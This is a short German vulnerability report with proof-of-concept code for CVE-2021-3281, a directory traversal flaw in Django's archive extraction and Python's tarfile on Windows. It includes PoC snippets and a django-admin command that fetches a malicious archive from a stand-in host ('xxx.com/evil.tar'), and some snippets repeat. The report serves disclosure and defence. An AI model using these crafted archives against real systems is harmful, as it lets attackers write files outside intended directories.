
Proof-of-Concept für CVE-2021-3281: Directory-Traversal-Sicherheitslücke in Djangos TarArchive-Dienstprogramm durch präparierte tar-Dateien, mit Demonstration des Python tarfile-Moduls.
Es gibt eine Directory-Traversal-Schwachstelle in django.utils.archive.py, Zeile 171, in der Klasse TarArchive.
Der Funktionsaufruf os.path.join(to_path, name) hat den Parameter "name" nicht überprüft. Wenn jemand dieses Dienstprogramm auf der Windows-Plattform verwendet, besteht ein Directory-Traversal-Risiko. Der POC ist:
from django.utils import archive
archive.extract('test.tar','.')
Die Datei test.tar enthält eine Datei namens "d:game.exe", und der POC erstellt eine Datei namens "game.exe" in D://game.exe anstelle von "."
Es scheint, dass der Django-Kern dieses Dienstprogramm nicht verwendet, aber ich denke immer noch, dass es ein Risiko darstellt. Vielleicht wird jemand dieses Dienstprogramm in einer Webanwendung verwenden, um etwas zu archivieren.``Und es gibt ein weiteres Szenario:``Der Befehl "djangoadmin startapp --template" verwendet archive.py, siehe https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC ist:
django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
Es erstellt eine Datei namens "game.exe" in D://game.exe anstelle von "vulapp/". Es akzeptiert auch URLs wie "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
from django.utils import archive
archive.extract('test.tar','.')
Das gleiche Problem gibt es in Python/Lib/tarfile.py:
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
und die Dokumentation gibt eine Warnung, siehe https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281
https://www.djangoproject.com/weblog/2021/feb/01/security-releases/